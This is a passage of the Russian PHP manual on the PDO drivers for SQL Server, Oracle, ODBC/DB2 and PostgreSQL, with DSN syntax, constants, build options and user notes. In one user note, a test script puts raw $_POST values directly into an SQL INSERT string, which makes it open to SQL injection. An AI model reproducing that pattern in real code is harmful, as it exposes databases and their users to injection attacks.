Данная константа - допустимое значение для ключа TransactionIsolation SQLSRV DSN. Устанавливает уровень изоляции транзакций для соединения в значение Repeateable Read.
PDO::SQLSRV_TXN_SNAPSHOT (int)
Данная константа - допустимое значение для ключа TransactionIsolation SQLSRV DSN. Устанавливает уровень изоляции транзакций для соединения в значение Snapshot.
PDO::SQLSRV_TXN_SERIALIZABLE (int)
Данная константа - допустимое значение для ключа TransactionIsolation SQLSRV DSN. Устанавливает уровень изоляции транзакций для соединения в значение Serializable.
PDO::SQLSRV_ENCODING_BINARY (int)
Определяет, что данные отправляются/получаются в виде потока байтов к/от сервера без выполнения преобразования кодировки или другого преобразования. Константа может быть передана в функции PDOStatement::setAttribute, PDO::prepare, PDOStatement::bindColumn и PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_SYSTEM (int)
Определяет, что данные отправляются/получаются к/от сервера в 8ми-битной кодировке локали Windows, установленной в системе. Все мультибайтовые символы и символы, не преобразуемые в данную кодировку, заменяются символом вопроса (?). Константа может быть передана в функции PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn и PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_UTF8 (int)
Определяет, что данные отправляются/получаются к/от сервера в кодировке UTF-8. Константа может быть передана в функции PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn и PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_DEFAULT (int)
Определяет, что данные отправляются/получаются к/от сервера согласно значению PDO::SQLSRV_ENCODING_SYSTEM, указанному при подключении. Для подключения может использоваться кодировка, указанная при подготовке выражения. Константа может быть передана в функции PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn и PDOStatement::bindParam.
PDO::SQLSRV_ATTR_QUERY_TIMEOUT (int)
Неотрицательное целое число, отражающее время ожидания в секундах. Ноль (0) - это значение по умолчанию, означающее, что время ожидания не учитывается. Константа может быть передана в функции PDOStatement::setAttribute, PDO::setAttribute и PDO::prepare.
PDO::SQLSRV_ATTR_DIRECT_QUERY (int)
Показывает, что запрос должен быть немедленно выполнен, без подготовки выражения. Константа может быть передана в функции PDO::setAttribute и PDO::prepare. За подробностями обратитесь к разделу документации » Немедленное выполнение выражений и выполнение подготовленных выражений.

Содержание

  • PDO_SQLSRV DSN — Подключение к базам данных MS SQL Server и SQL Azure

User Contributed Notes

fleduc dot perso at gmail dot com 18-Sep-2017 01:35
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in StackOverflow

https://stackoverflow.com/a/46245990/1330248
ian at helastel dot com 31-Oct-2016 04:52
An updated driver compatible with both PHP 7.0 and Linux is available on the PHP-7.0-Linux branch of https://github.com/Microsoft/msphpsql/

This is more up to date and supports some additional features over the ODBC / DBLIB drivers.

It is currently considered an 'Early Technical Preview' and hence has some limitations, but in my experience it has been stable.
Peter 17-Apr-2015 06:04
SQLSRV 3.2 is now available from Microsoft that supports PHP 5.6

http://www.microsoft.com/en-us/download/details.aspx?id=20098
John P 16-Dec-2014 05:29
As of 12/12/2014, Microsoft has officially released Version 3.1.

Support for 5.5 has 4 drivers
php_pdo_sqlsrv_55_nts.dll
php_pdo_sqlsrv_55_ts.dll
php_sqlsrv_55_nts.dll
php_sqlsrv_55_ts.dll

Note: Version 3.1 now supports PHP 5.5 and requires Microsoft ODBC Driver 11 (or higher)

You can downlod the new driver from
http://www.microsoft.com/en-us/download/details.aspx?id=20098


Подключение к базам данных MS SQL Server и SQL Azure

  • « MS SQL Server (PDO)
  • Oracle (PDO) »
  • PHP Manual
  • MS SQL Server (PDO)
  • Подключение к базам данных MS SQL Server и SQL Azure

PDO_SQLSRV DSN

(PECL pdo_sqlsrv >= 2.0.1)

PDO_SQLSRV DSN — Подключение к базам данных MS SQL Server и SQL Azure

Описание

Строка источника данных (Data Source Name, DSN) для PDO_SQLSRV состоит из следующих элементов:

Префикс DSN

Префикс DSN равен sqlsrv:.

APP

Имя приложения, используемое при трассировке.

ConnectionPooling

Определяет, берётся ли соединение из пула соединений (1 или true) или нет (0 или false).

Database

Имя базы данных.

Encrypt

Определяет, будут ли шифроваться данные коммуникации с SQL Server (1 или true) или не будут (0 или false).

Failover_Partner

Определяет сервер и экземпляр зеркала базы данных (если включено и настроено) в случае недоступности первичного сервера.

LoginTimeout

Определяет время ожидания подключения (в секундах).

MultipleActiveResultSets

Отключает или явно включает поддержку функции Multiple Active Result Sets (MARS) - возвращение нескольких результирующих наборов.

QuotedId

Определяет, использовать для заключения в кавычки идентификаторов стандарт SQL-92 (1 или true) или правила, задаваемые Transact-SQL (0 или false).

Server

Имя сервера базы данных.

TraceFile

Определяет путь до файла, используемого для данных трассировки.

TraceOn

Определяет, включена ли для создаваемого соединения функция трассировки ODBC (1 или true) или отключена (0 или false).

TransactionIsolation

Определяет уровень изоляции транзакций. Допустимые значения данной опции -
PDO::SQLSRV_TXN_READ_UNCOMMITTED, PDO::SQLSRV_TXN_READ_COMMITTED,
PDO::SQLSRV_TXN_REPEATABLE_READ, PDO::SQLSRV_TXN_SNAPSHOT и
PDO::SQLSRV_TXN_SERIALIZABLE.

TrustServerCertificate

Определяет, должен ли клиент принимать (1 или true) или отклонять (0 or false) самозаверенные (self-signed) сертификаты сервера.

WSID

Определяет имя компьютера для трассировки.

Примеры

Пример #1 Примеры PDO_SQLSRV DSN

Следующий пример показывает, как подключаться к определённой базе данных MS SQL Server:

$c = new PDO("sqlsrv:Server=localhost;Database=testdb", "UserName", "Password");

Следующий пример показывает, как подключаться к базе данных MS SQL Server по определённому порту:

$c = new PDO("sqlsrv:Server=localhost,1521;Database=testdb", "UserName", "Password");

Следующий пример показывает, как подключаться к базе данных SQL Azure с идентификатором сервера 12345abcde. Примечание: при соединении к SQL Azure с помощью PDO, имя пользователя будет равно UserName@12345abcde (UserName@ServerId).

$c = new PDO("sqlsrv:Server=12345abcde.database.windows.net;Database=testdb", "UserName@12345abcde", "Password");

User Contributed Notes

There are no user contributed notes for this page.


Функции Oracle (PDO_OCI)

Установка

Если база данных Oracle находится на том же компьютере, что и PHP, программное обеспечение базы данных уже содержит необходимые библиотеки. Если PHP находится на другом компьютере, используйте бесплатные библиотеки » Oracle Instant Client. Подробнее смотрите в требованиях OCI8.

Для установки модуля PDO Oracle OCI используйте опцию --with-pdo-oci[=DIR], где [=DIR] - необязательное значение, указывающее на домашнюю директорию Oracle. По умолчанию [=DIR] принимает значение переменной окружения $ORACLE_HOME.

Используйте опцию --with-pdo-oci=instantclient,prefix,version Для Oracle Instant Client SDK, с указанными префиксом и версией.

// Использование $ORACLE_HOME
$ ./configure --with-pdo-oci

// Использование OIC для Linux с версией 10.2.0.3 и префиксом /usr
$ ./configure --with-pdo-oci=instantclient,/usr,10.2.0.3

Предопределённые константы

Перечисленные ниже константы определены данным драйвером и будут доступны только в случае, если PHP был собран с поддержкой этого модуля, или данный модуль был динамически загружен во время выполнения. Вдобавок, эти зависимые от драйвера константы должны быть использованы только совместно с этим драйвером. Использование атрибутов, специфичных для некоторого драйвера с другим драйвером может вызвать неожиданное поведение. Если ваш код выполняется с несколькими драйверами, то можно использовать функцию PDO::getAttribute() для получения атрибута PDO::ATTR_DRIVER_NAME для проверки драйвера.

PDO::OCI_ATTR_ACTION (int)

Позволяет задать действие для сессии.

Существует, начиная с PHP 7.2.16 и 7.3.3

PDO::OCI_ATTR_CLIENT_INFO (int)

Позволяет задать информацию по клиенту для сессии.

Существует, начиная с PHP 7.2.16 и 7.3.3

PDO::OCI_ATTR_CLIENT_IDENTIFIER (int)

Позволяет задать идентификатор клиента для сессии.

Существует, начиная с PHP 7.2.16 и 7.3.3

PDO::OCI_ATTR_MODULE (int)

Позволяет задать модуль для сессии.

Существует, начиная с PHP 7.2.16 и 7.3.3

Содержание

  • PDO_OCI DSN — Соединение с базой данных Oracle

User Contributed Notes

Wolfgang Riedmann 15-May-2023 05:03
An important hint: if you are using prebuilt PHP packages where PDO_OCI is not compiled in, you should download the original PHP sources for the PHP version your server is using.
These sources contain the PDO_OCI source in the ext/pdo_oci directory.
Change to that directory, build the module using
phpize
./configure
make
and then install the newly build module to your PHP extension directory and add it to your configuration.
For me this has worked on a Debian server with the sury.org modules (PHP 8.2).
wagner dot lague at gmail dot com 18-Jul-2016 06:29
Whe I try connect the server returns the error: "SQLSTATE[HY000]: pdo_oci_handle_factory: ORA-12560: TNS:erro de adaptador de protocolo (ext\pdo_oci\oci_driver.c:579)"

Too fix it, I used that:

 $conn = new PDO("oci:dbname=DBNAME;host=NN.NN.NN.NNN",'USER','PASSWORD');

eg:

 $conn = new PDO("oci:dbname=DB_FOO;host=10.10.48.245",'FOO','Foo%&5b');
sebastian dot la dot spina at gmail dot com 09-Jan-2014 09:03
For Red hat 6, 64bits, client 11.2,
After touch config.m4 and tune up libs symlinks..
I get a compilation error "pdo_oci.c:34: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'pdo_oci_functions'"
To solve it just change function_entry to zend_function_entry @pdo_oci.c file.

:)
paul dot pratt at atmel dot com 10-Jun-2013 10:45
Is PHP-to-Oracle much slower  than Php-to-MySql ?  I have battled my way through a conversion of Php4/MySql to Php5/Oracle (stumbling over Clobs and php5-variable-initialization).   Everything works, but...
  Querys that took 8 seconds in MySql, now take 3 mintues with Oracle.  Yes, I have indexes on the Oracle tables.  Are Oracle connections that much more expensive than MySql? I did use oci_pconnect.
php at ideacode dot com 13-Oct-2011 07:28
If you're getting the "I'm too dumb to find oci.h" error, try creating a variety of paths.  One variety uses just the major and minor of your OIC version (eg, 11.2 for 11.2.0.2) and another variety uses client64 as well as client.

Something like this (for 11.2.0.2):
ln -s /usr/include/oracle/11.2.0.2/ /usr/include/oracle/11.2
ln -s /usr/include/oracle/11.2/client /usr/include/oracle/11.2/client64
ln -s /usr/lib/oracle/11.2.0.2/ /usr/lib/oracle/11.2
ln -s /usr/lib/oracle/11.2/client /usr/lib/oracle/11.2/client64

This should cover your bases for 64-bit systems, as well as PHP patched to use the major.minor version number only.  See also PHP bug #44989.
redlorry919 at gmail dot com 10-Jun-2011 03:15
Take note of the note at the top, this really is an experimental extension. I had a problem trying to read data from Oracle which resulted in some strange behaviour in PHP. i.e. foreach loops not ending, with no error messages. I also managed to get the data from Oracle into an array in PHP, but then couldn't return the array from a function.

After pulling my hair out for a day, it turned out to be a CLOB column in Oracle that caused the strange behaviour in PHP. I assume this extension doesn't fully support them.

Instead I've typecast it within the SQL to a VARCHAR2 which seems to resolve it:

SELECT CAST(columnx AS VARCHAR2(4000)) AS columnx ...

It might help someone else having similar issues.
geompse at gmail dot com 27-Jun-2010 09:49
Notice the red block at the beginning of this page... pdo_oci is HIGHLY experimental.

Even though it is under dev from 2004, it lakes today support for things that _do_ matters :
 - bind a varchar2 of 3500 chars
 - get selected metas
 - left join with blobs/clobs
 - etc.

For the story, since we use pdo_pgsql in our software, I thought it would be viable to use pdo_oci for running under Oracle. After a long battle, I finally won :

1) If requested driver has a non-experimental pdo version available, use it.
2) else (well, for pdo_oci at least), use an abstraction layer of your own.
3) you're done.

What I did in more details...

2 "main" classes for being compliant with "$obj instanceof PDO" or such :
 - class PhpDb extends PDO
 - class PhpDbStatement extends PDOStatement
2 "abstract" classes that defines what PDO actually does :
 - abstract class PhpDbAbstract
 - abstract class PhpDbAbstractStatement
And at last for each driver, 2 classes doing the abstraction :
 - class PhpDbDriverOracle extends PhpDbAbstract
 - class PhpDbDriverOracleStatement extends PhpDbAbstractStatement

"main" classes are accessed from your script, simply replace "new PDO" with "new PhpDb".
"abstract" classes are mainly there for the documentation :p
"driver" classes do the job in background, they are instances by the main classes.

My PhpDb will be in an open source project sooner or later, search google or mail me !
av01 at bugfix dot cc 03-Apr-2010 08:57
In order to get this compiled on my CentOS 5.4 x86_64 box, I had to do some extra settings that might be useful for others:

Install oracle-instantclient11.2-basic and oracle-instantclient11.2-devel RPMs from Oracle

Create some symbolic links because configure contains some outdated assumptions about path names and doesn't care about 64-bit systems:
ln -s /usr/lib/oracle/11.2/client64 /usr/lib/oracle/11.2/client
ln -s /usr/include/oracle/11.2/client64  /usr/lib/oracle/11.2/client/include

Add the following to your configure command:
--with-pdo-oci=shared,instantclient,/usr,11.2
sixd at php dot net 26-Jun-2009 11:53
From the PHP 5.3 UPGRADING file:

- The PDO_OCI php_pdo_oci8.dll library (for use with Oracle version 8 client
  libraries) is no longer being built [with PHP 5.3]. Instead, use php_pdo_oci.dll (note no
  '8') with Oracle 10 or 11 client libraries. Connection to other database
  versions is still supported.
fernando dot wendt at gmail dot com 20-Jan-2009 05:18
To enable PDO support on PHP for Oracle Instant Client 11.1.x, you should follow the syntax above in the compile command, just as pointed by Andrew http://bugs.php.net/bug.php?id=39312, taking by default you have installed the OIC at /usr/lib/oracle (instant client and sdk at subfolder):

./configure --with-oci8=shared,instantclient,/usr/lib/oracle
--with-pdo-oci=instantclient,/usr/lib/oracle,11.1

Just saying your release version from the Oracle OIC.

It compiles fine then.

Best regards.
ken at xpressconnex dot com 05-Feb-2008 08:17
Wow, cursade.  That's a lot of typing to use the lite client.

Try this:

$db = '//hostname/servicename'; //e.g. '//192.168.1.1/orcl'
$user = 'username';
$pass = 'password';

$conn = new PDO($db,$user,$pass);
moc.aciremi@yvelj 01-Jun-2006 12:25
A Statement of Warning:

PDO::oci does not support REF CURSORS.

This is mentioned nowhere (until now!) on this page.

And now you know!

If you want ref cursors avoid PDO for now.

My Reference for this claim:
http://www.oracle.com/technology/pub/articles/
php_experts/otn_pdo_oracle5.html

GREAT article, excellent piece, really. It's not clear to me
how old this document is, but it must have some dust on it,
given it's references to "PHP5.1 ...' which is a little way off yet' "
... as of 2006-06-01, PHP5.1 has been with us for quite some time.
cursade at hotmail dot com 20-Apr-2006 11:29
if oracle and oracle instant client has been installed,
without db in the same host

For UNIX/LINUX,set $LD_LIBRARY_PATH
appent your instant client path  and  client/lib path to it,

For windows set PATH like this

After set the path ,set TNS_ADMIN everioment ,point to
where  tnsnames.ora located.

Then,you can use service name to connect to your Database

Test coding

<?php
$param = $_POST;
$db_username = "youusername";
$db_password = "yourpassword";
$db = "oci:dbname=yoursid";
$conn = new PDO($db,$db_username,$db_password);
$name = $param['module'];
$file = $param['file'];
$stmt = $conn->exec("INSERT INTO AL_MODULE (AL_MODULENAME, AL_MODULEFILE) VALUES ('$name', '$file')");

?>
cursade at hotmail dot com 20-Apr-2006 02:43
If instant client has been installed but the full oracle client
not yet ,you can use pdo to connect to oracle database
like following coding:

<?php
$tns = "
(DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = yourip)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = orcl)
    )
  )
       ";
$db_username = "youname";
$db_password = "yourpassword";
try{
    $conn = new PDO("oci:dbname=".$tns,$db_username,$db_password);
}catch(PDOException $e){
    echo ($e->getMessage());
}
?>


Соединение с базой данных Oracle

  • « Oracle (PDO)
  • ODBC и DB2 (PDO) »
  • PHP Manual
  • Oracle (PDO)
  • Соединение с базой данных Oracle

PDO_OCI DSN

(PECL PDO_OCI >= 0.1.0)

PDO_OCI DSN — Соединение с базой данных Oracle

Описание

Строка подключения (Data Source Name, DSN) PDO_OCI состоит из следующих элементов:

Префикс DSN

oci:.

dbname (Oracle Instant Client)

URI для Oracle Instant Client имеет вид dbname=//hostname:port-number/database. Если вы соединяетесь с базой данных, указанной в tnsnames.ora, то вы можете использовать только её имя: dbname=database.

charset

Кодировка на стороне клиента для заданного окружения.

Примеры

Пример #1 Примеры использования PDO_OCI DSN

Следующие примеры показывают соединение с базой данных Oracle:

// Соединение с базой данных, указанной в tnsnames.ora
oci:dbname=mydb

// Соединение с использованием Oracle Instant Client
oci:dbname=//localhost:1521/mydb

User Contributed Notes

Alexander Ashurkoff 26-Feb-2007 02:20
If you want to use PDO_OCI and get proper russian windows-1251 codepage, just add charset=CL8MSWIN1251 to your DSN.

example:
<?php
$dbc = new PDO('oci:dbname=192.168.10.145/orcl;charset=CL8MSWIN1251', 'username', 'password');
?>

Аlso setting apache/registry/system environment variable NLS_LANG to RUSSIAN_CIS.CL8MSWIN1251 may helps you.
Helpful User 11-Oct-2006 05:59
If you get the error: TNS: could not resolve service name

Remember that the PDO wants to use the default client, which will only use the tnsnames.ora in %ORACLE_HOME%\network\admin. Check that file and make sure your service is defined in there.

BTW, there is a bug with pdo_oci8 with 9i - don't use it. Make sure you just use pdo_oci.dll.


Функции ODBC и DB2 (PDO_ODBC)

Введение

PDO_ODBC - драйвер, реализующий интерфейс PHP Data Objects (PDO) для доступа к базам данных через драйвер ODBC или через библиотеку IBM DB2 Call Level Interface (DB2 CLI). В текущий момент PDO_ODBC поддерживает различные "оттенки" драйверов баз данных:

ibm-db2

Поддержка доступа к серверам IBM DB2 Universal Database, Cloudscape и Apache Derby через свободный клиент DB2 express-C.

unixODBC

Поддерживает доступ к базам данных через менеджер драйверов unixODBC и собственные ODBC драйверы баз данных.

generic

Предоставляет опцию компиляции менеджеров драйверов ODBC, которые не поддерживаются PDO_ODBC напрямую.

В Windows php_pdo_odbc.dll должен быть включён как модуль в php.ini. Он собирается с участием Windows ODBC Driver Manager, поэтому PHP может подключаться к любой базе данных, определённой как System DSN.

Установка

PDO_ODBC на UNIX системах

  1. Модуль PDO_ODBC включён в исходный код PHP. Вы можете скомпилировать модуль как статический или разделяемый, используя следующий синтаксис configure.

    ibm_db2

    ./configure --with-pdo-odbc=ibm-db2,/opt/IBM/db2/V8.1/
    Для сборки PDO_ODBC для ibm-db2 вам потребуется предварительно установить заголовочные файлы пакета разработчика приложений DB2. Заголовочные файлы пакета разработчика приложений DB2 можно установить как с помощью установочного пакета сервера DB2, так и в составе отдельного клиента "DB2 Application Development Client", доступного для загрузки с » сайта поддержки IBM developerWorks.

    Если вы не укажете директорию установки библиотек и заголовочных файлов DB2, configure будет искать их в /home/db2inst1/sqllib.

    unixODBC

    ./configure --with-pdo-odbc=unixODBC,/usr/local
    Если вы не укажете директорию установки библиотек и заголовочных файлов unixODBC, configure будет искать их в /usr/local.

    generic
    ./configure --with-pdo-odbc=generic,/usr/local,libname,ldflags,cflags

Предопределённые константы

Перечисленные ниже константы определены данным драйвером и будут доступны только в случае, если PHP был собран с поддержкой этого модуля, или данный модуль был динамически загружен во время выполнения. Вдобавок, эти зависимые от драйвера константы должны быть использованы только совместно с этим драйвером. Использование атрибутов, специфичных для некоторого драйвера с другим драйвером может вызвать неожиданное поведение. Если ваш код выполняется с несколькими драйверами, то можно использовать функцию PDO::getAttribute() для получения атрибута PDO::ATTR_DRIVER_NAME для проверки драйвера.

PDO::ODBC_ATTR_USE_CURSOR_LIBRARY (int)

Этот параметр определяет, используется ли библиотека курсоров ODBC. Библиотека курсоров ODBC поддерживает некоторые дополнительные особенности ODBC (например блочные прокручиваемые курсоры), которые могут не реализовываться драйвером. Поддерживаются следующие значения:

  • PDO::ODBC_SQL_USE_IF_NEEDED (по умолчанию): использовать библиотеку курсоров ODBC если необходимо.

  • PDO::ODBC_SQL_USE_DRIVER: никогда не использовать библиотеку курсоров ODBC.

  • PDO::ODBC_SQL_USE_ODBC: всегда использовать библиотеку курсоров ODBC.

PDO::ODBC_ATTR_ASSUME_UTF8 (bool)

Только для Windows. Если true, то данные в кодировке UTF-16 (CHAR, VARCHAR и LONGVARCHAR) будут сконвертированны в UTF-8 при чтении или записи. Если false (по умолчанию), преобразование кодировки символов может быть выполнено драйвером.

Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Конфигурационные опции PDO_ODBC
Имя | По умолчанию | Место изменения | Список изменений
pdo_odbc.connection_pooling | "strict" | PHP_INI_ALL |
pdo_odbc.db2_instance_name | NULL | PHP_INI_SYSTEM | Эта возможность устарела и будет обязательно удалена в будущем.
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

pdo_odbc.connection_pooling string

Нужно ли объединять соединения ODBC. Может быть "strict", "relaxed" или "off" (аналогично ""). Параметр определяет как строго менеджер соединений должен сравнивать параметры соединений для выбора, создавать новое соединение или возвращать уже существующее. По умолчанию рекомендуется использовать strict, что означает, что сохранённое соединение будет возвращаться только, если все параметры точно совпадают. relaxed приведёт к тому, что закешированное соединение будет возвращено, если параметры схожи. Это приведёт к более активному использованию кеша, но может привести к утечке информации о соединении (к примеру) между виртуальными хостами.

Эту настройку можно изменить только в php.ini и воздействует на все процессы; все модули, загруженные в процесс и использующие те же библиотеки ODBC будут зависеть от этой настройки, включая Унифицированный модуль ODBC.

Внимание

Значение relaxed не должно использоваться на общем хостинге в целях безопасности.

Подсказка

Если у вас нет очень серьёзного повода использовать значение, отличное от strict - не меняйте его.

pdo_odbc.db2_instance_name string

Если вы скомпилировали PDO_ODBC с использованием db2, эта опция установит значение переменной окружения DB2INSTANCE в системах Linux и UNIX, равным выбранному имени экземпляра DB2. Это позволяет PDO_ODBC определить местоположение библиотек DB2 и произвести соединение с каталогом базы данных DB2.

Эту настройку можно изменить только в php.ini, и она воздействует на все процессы; все модули, загруженные в процесс и использующие те же библиотеки ODBC будут зависеть от этой настройки, включая унифицированный модуль ODBC.

Эта опция не работает в Windows.

Содержание

  • PDO_ODBC DSN — Соединение с базами данных ODBC или DB2

User Contributed Notes

ChristianF 26-Jan-2016 11:03
I just spent a couple of hours trying to track down the Exception "Could not find driver". This was despite having ODBC and PDO_ODBC installed, and all of the configuration seemed to be correct.

Turned out the problem was that I used ODBC in upper-case in the dsn. As soon as I changed the dns to "odbc:database" it worked.

As this code used to work a few months ago, this sudden case-sensitivity threw me for a loop. So in case you get this error, check the casing first.
Ariz Jacinto 09-Jan-2012 01:50
Using SQL Server Native Client 11.0 on Linux as a PDO_ODBC driver:

Download the SQL Server Native Client 11.0 on Linux ODBC Driver:
http://www.microsoft.com/download/en/details.aspx?id=28160

Configuration ODBC:

/usr/local/etc/odbcsys.ini
--
[SQL Server Native Client 11.0]
Description = Microsoft SQL Server ODBC Driver V1.0 for Linux
Driver = /opt/microsoft/sqlncli/lib64/libsqlncli-11.0.so.1720.0
UsageCount = 1

/usr/local/etc/odbc.ini
--
[MSSQLServer]
Driver = SQL Server Native Client 11.0
Description = Sample Database
Trace = Yes
Server =
Port = 1433
Database =

Test the connection:
mssqltest.php
--
<?php
    putenv('ODBCSYSINI=/usr/local/etc');
    putenv('ODBCINI=/usr/local/etc/odbc.ini');
    $username = "";
    $password = "";
    try {
      $dbh = new PDO("odbc:MSSQLServer",
                    "$username",
                    "$password"
                   );
    } catch (PDOException $exception) {
      echo $exception->getMessage();
      exit;
    }
    echo var_dump($dbh);
    unset($dbh);
?>
harry dot forum at p-boss dot com 02-Jul-2010 04:03
MSSQL - PHP on Apache - Linux Redhat

When using php 5.2.10 please beaware of this error:

http://bugs.php.net/bug.php?id=42068

Standard odbc_connect will not work, you must use pdo_odbc

Connecting to MSSQL using pdo odbc - walkthrough..

1. Download and configure FreeTDS with-unixodbc

./configure --prefix=/opt/SYSfreetds --with-unixodbc

make;make test; make install

2. install php-odbc and unixODBC

         php-odbc-5.2.10-1.x86_64.rpm
         unixODBC.x86_64.x86x64

3. Setup ODBC links

a)
Create a tds.driver file with the following contents

  [FreeTDS]
  Description     = v0.63 with protocol v8.0
  Driver          = /opt/SYSfreetds/lib/libtdsodbc.so

Register the ODBC driver - the tds.driver file

  odbcinst -i -d -f tds.driver

b)
Creating a tds.datasource file - ODBC Data Source with contents:

  [SOURCENAME]
  Driver=FreeTDS
  Description=Test MS SQL Database with FreeTDS
  Trace=No
  Server=BobTheServer
  Port=1433
  TDS Version=8.0
  Database=youDBname

Register the ODBC data source

  odbcinst -i -s -f tds.datasource

Beware that the odbc.ini file will be installed in the current users home directory. This may need to be used if you are using a webserver as the apache home directory could be different.

Ensure .odbc.ini is in apaches home directory, possibly "/var/www"

4. Test the ODBC link on the command line

  isql -v SOURCENAME 'username' 'password'

  +---------------------------------------+
  | Connected!                            |
  |                                       |
  | sql-statement                         |
  | help [tablename]                      |
  | quit                                  |
  |                                       |
  +---------------------------------------+
 SQL>

5. Edit /etc/php.ini

  Make sure the following is set:
     mssql.secure_connection = On

6. Restart apache gracefully

7. PHP to run:

  <?
  $dbh= new PDO('odbc:SOURCENAME', 'username', 'password');
  $stmt = $dbh->prepare("$query");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
      print_r($row);
  }
  unset($dbh); unset($stmt);
  ?>

Trouble-shooting:

Please try strace/ truss if you encounter issues. It could be you are referencing wrong libraries somewhere.

Ensure you have restarted apache once the odbc files are in place
tuomas 21-Sep-2009 12:11
If you want to avoid installing DB2 Connect and/or PECL modules ibm_db2 and PDO_IBM, you can also use IBM DB2 databases trough unixODBC.

If you have DB2 database on a i server you need to install IBM iAccess (http://www.ibm.com/systems/i/software/access/linux/index.html) and unixODBC. Just install the libraries (rpm) and modify configurations in /etc/odbcinst.ini (sample configuration in /opt/ibm/iSeriesAccess/unixodbcregistration) and /etc/odbc.ini.

To my experience this is much easier way than installing DB2 Connect.
ethan dot nelson at ltd dot org 29-Feb-2008 02:15
Using SQL 2005, PDO_ODBC and datetime fields is a royal pain.  MSDN documentation on CAST CONVERT shows that there is supposed to be an implicit convert between character types and datetime types.  That's true... until you put it in a stored procedure and use variable declarations.

For instance this fails:

declare @date varchar;
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

While this succeeds:
declare @date varchar(19);
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

The PDO Driver appears to attempt an implicit conversion and so it fails whenever you try to insert data into datetime column types.

So to workaround this nuance in SQL, declare a character column type with explicit width.  Then your implicit type conversion will work.


Соединение с базами данных ODBC или DB2

  • « ODBC и DB2 (PDO)
  • PostgreSQL (PDO) »
  • PHP Manual
  • ODBC и DB2 (PDO)
  • Соединение с базами данных ODBC или DB2

PDO_ODBC DSN

(PECL PDO_ODBC >= 0.1.0)

PDO_ODBC DSN — Соединение с базами данных ODBC или DB2

Описание

Имя источника данных (Data Source Name, DSN) PDO_ODBC состоит из следующих элементов:

Префикс DSN

odbc:. Если вы соединяетесь с базой, указанной в каталоге менеджера драйверов ODBC или каталоге DB2, вы можете добавить имя в этом каталоге в DSN.

DSN

Имя базы данных как указано в каталоге менеджера драйверов ODBC или в каталоге DB2. Также вы можете указать полную строку соединения ODBC, как описано тут » http://www.connectionstrings.com/.

UID

Имя пользователя для соединения. Если вы указываете имя пользователя в строке DSN, PDO будет игнорировать имя, заданное аргументом в конструкторе PDO.

PWD

Пароль пользователя для соединения. Если вы указываете пароль пользователя в строке DSN, PDO будет игнорировать пароль, заданный аргументом в конструкторе PDO.

Примеры

Пример #1 Пример PDO_ODBC DSN (менеджер драйверов ODBC)

В следующем примере показано использование PDO_ODBC DSN для соединения с базой данных, определённой в каталоге ODBC как testdb:

odbc:testdb

Пример #2 Пример использования PDO_ODBC DSN (некаталогизированное соединение IBM DB2)

В следующем примере показано использование PDO_ODBC DSN для соединения с базой данных IBM DB2 по имени SAMPLE, используя полную строку ODBC DSN:

odbc:DRIVER={IBM DB2 ODBC DRIVER};HOSTNAME=localhost;PORT=50000;DATABASE=SAMPLE;PROTOCOL=TCPIP;UID=db2inst1;PWD=ibmdb2;

Пример #3 Пример использования PDO_ODBC DSN (некаталогизированное соединение Microsoft Access)

В следующем примере показано использование PDO_ODBC DSN для соединения с базой Microsoft Access, хранящейся в C:\db.mdb, используя полную строку ODBC DSN:

odbc:Driver={Microsoft Access Driver (*.mdb)};Dbq=C:\\db.mdb;Uid=Admin

User Contributed Notes

There are no user contributed notes for this page.


Функции PostgreSQL (PDO_PGSQL)

Введение

PDO_PGSQL - это драйвер, реализующий интерфейс PHP Data Objects (PDO) для доступа к базам данных PostgreSQL.

Типы ресурсов

Этот модуль определяет потоковый ресурс, возвращаемый PDO::pgsqlLOBOpen().

Установка

Для установки модуля PDO PostgreSQL используйте опцию --with-pdo-pgsql[=DIR], где [=DIR] - необязательное значение, указывающее на директорию установки базы PostgreSQL или путь до pg_config.

$ ./configure --with-pdo-pgsql

Предопределённые константы

Перечисленные ниже константы определены данным драйвером и будут доступны только в случае, если PHP был собран с поддержкой этого модуля, или данный модуль был динамически загружен во время выполнения. Вдобавок, эти зависимые от драйвера константы должны быть использованы только совместно с этим драйвером. Использование атрибутов, специфичных для некоторого драйвера с другим драйвером может вызвать неожиданное поведение. Если ваш код выполняется с несколькими драйверами, то можно использовать функцию PDO::getAttribute() для получения атрибута PDO::ATTR_DRIVER_NAME для проверки драйвера.

PDO::PGSQL_ATTR_DISABLE_PREPARES (int)

Отправьте запрос и параметры на сервер вместе за один вызов, избегая необходимости отдельно создавать именованный подготовленный оператор. Если запрос будет выполняться только один раз, это может уменьшить задержку, избегая ненужного обхода сервера.

Общие замечания

Замечание:

Поля bytea возвращаются как потоки.

Содержание

  • PDO_PGSQL DSN — Соединение с базой данных PostgreSQL
  • PDO::pgsqlCopyFromArray — Копировать массив PHP в таблицу
  • PDO::pgsqlCopyFromFile — Скопировать данные из файла в таблицу
  • PDO::pgsqlCopyToArray — Выгрузить данные из таблицы в массив PHP
  • PDO::pgsqlCopyToFile — Выгрузка таблицы в файл
  • PDO::pgsqlGetNotify — Получить асинхронное уведомление
  • PDO::pgsqlGetPid — Получает PID сервера
  • PDO::pgsqlLOBCreate — Создать новый большой объект (LOB)
  • PDO::pgsqlLOBOpen — Открывает поток для существующего большого объекта
  • PDO::pgsqlLOBUnlink — Удалить большой объект

User Contributed Notes

